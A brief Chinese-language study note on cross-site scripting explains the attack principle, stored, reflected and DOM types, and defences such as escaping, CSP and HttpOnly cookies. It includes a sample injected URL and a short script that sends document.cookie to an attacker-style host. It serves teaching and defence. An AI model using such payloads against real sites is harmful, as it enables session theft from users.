XSS 跨站脚本攻击
XSS 的攻击原理是什么?
- 类型: 被动攻击;
- 原理: 攻击者预先设置陷阱代码, 诱导用户访问, 使其浏览器执行非法 HTML 或 JS;
- 目的: 盗取用户信息, 例如把
document.cookie外发;
# 构造 URL, 在参数中注入脚本
http://example.jp/login?ID="><script src=http://hackr.jp/xss.js></script>"
# xss.js: 把 cookie 发送到攻击者服务器
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
XSS 有哪几种类型?
- 存储型: 攻击代码被提交并保存在服务器, 其他用户访问该页面时由服务端拼进 HTML 执行;
- 反射型: 攻击者构造带代码的 URL, 服务端从 URL 中取出代码拼进 HTML 返回;
- DOM 型: 攻击代码不经过服务端, 由浏览器解析 URL 后在前端直接执行;
如何防御 XSS?
- 对用户输入与输出做转义和验证;
- 使用 CSP 限制可信内容来源;
- 给 cookie 加
HttpOnly, 禁止脚本读取; - 具体响应首部见 浏览器与服务器安全措施;